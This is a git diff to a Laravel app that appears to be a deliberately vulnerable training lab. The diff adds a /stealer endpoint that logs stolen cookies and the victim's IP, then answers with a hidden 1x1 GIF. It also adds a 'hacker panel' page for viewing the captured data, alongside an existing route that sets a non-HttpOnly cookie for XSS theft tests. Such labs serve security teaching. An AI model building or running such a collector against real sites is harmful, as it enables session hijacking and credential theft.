diff --git a/app/Http/Controllers/VulnerabilityController.php b/app/Http/Controllers/VulnerabilityController.php
index f7f296c..5977ce2 100644
--- a/app/Http/Controllers/VulnerabilityController.php
+++ b/app/Http/Controllers/VulnerabilityController.php
@@ -24,4 +24,29 @@ public function csrfTarget(Request $request)
             'message' => 'Action performed successfully without CSRF protection!'
         ]);
     }
+
+    // متد دریافت کوکی‌های سرقت شده
+    public function logStolenData(\Illuminate\Http\Request $request)
+    {
+        $cookie = $request->query('data', 'No data');
+        $ip = $request->ip();
+
+        // ذخیره در یک فایل متنی داخل پوشه storage/app برای سادگی آزمایشگاه
+        $logEntry = "[" . now() . "] IP: {$ip} | Stolen Data: {$cookie}";
+        \Illuminate\Support\Facades\Storage::append('stolen_cookies.log', $logEntry);
+
+        // یک تصویر شفاف ۱x۱ برمی‌گردانیم تا کلاینت متوجه نشود
+        return response(base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=='))
+            ->header('Content-Type', 'image/gif');
+    }
+
+    // متد برای مشاهده لاگ‌ها (پنل هکر)
+    public function viewLogs()
+    {
+        $logs = \Illuminate\Support\Facades\Storage::exists('stolen_cookies.log')
+            ? \Illuminate\Support\Facades\Storage::get('stolen_cookies.log')
+            : 'هیچ دیتایی سرقت نشده است.';
+
+        return view('vulnerabilities.logs', compact('logs'));
+    }
 }
\ No newline at end of file
diff --git a/resources/views/vulnerabilities/logs.blade.php b/resources/views/vulnerabilities/logs.blade.php
new file mode 100644
index 0000000..2963391
--- /dev/null
+++ b/resources/views/vulnerabilities/logs.blade.php
@@ -0,0 +1,22 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Hacker Panel - Stolen Data</title>
+    @vite(['resources/css/app.css'])
+</head>
+<body class="bg-black text-green-500 font-mono p-10">
+    <div class="max-w-6xl mx-auto">
+        <h1 class="text-3xl font-bold text-red-600 mb-6">[!] Compromised Data Logs</h1>
+
+        <div class="bg-gray-900 p-6 rounded border border-green-700 shadow-2xl">
+            <pre class="whitespace-pre-wrap">{{ $logs }}</pre>
+        </div>
+
+        <form action="{{ route('vulnerability.logs') }}" method="GET" class="mt-4">
+            <button class="bg-green-700 text-black px-4 py-2 rounded hover:bg-green-600">Refresh Logs</button>
+        </form>
+    </div>
+</body>
+</html>
\ No newline at end of file
diff --git a/routes/web.php b/routes/web.php
index 9007c13..8d5f6f6 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -21,4 +21,11 @@
     // ایجاد یک کوکی بدون HttpOnly برای تست سرقت با XSS
     return response('Cookie set!')
         ->cookie('secret_token', 'Bypass-12345', 60, null, null, false, false);
-})->name('vulnerability.cookie');
\ No newline at end of file
+})->name('vulnerability.cookie');
+
+
+// روت دریافت اطلاعات سرقت شده (معمولاً در دنیای واقعی روی سرور مهاجم است)
+Route::get('/stealer', [VulnerabilityController::class, 'logStolenData'])->name('vulnerability.stealer');
+
+// پنل مشاهده لاگ‌های سرقت شده
+Route::get('/hacker-panel', [VulnerabilityController::class, 'viewLogs'])->name('vulnerability.logs');
\ No newline at end of file
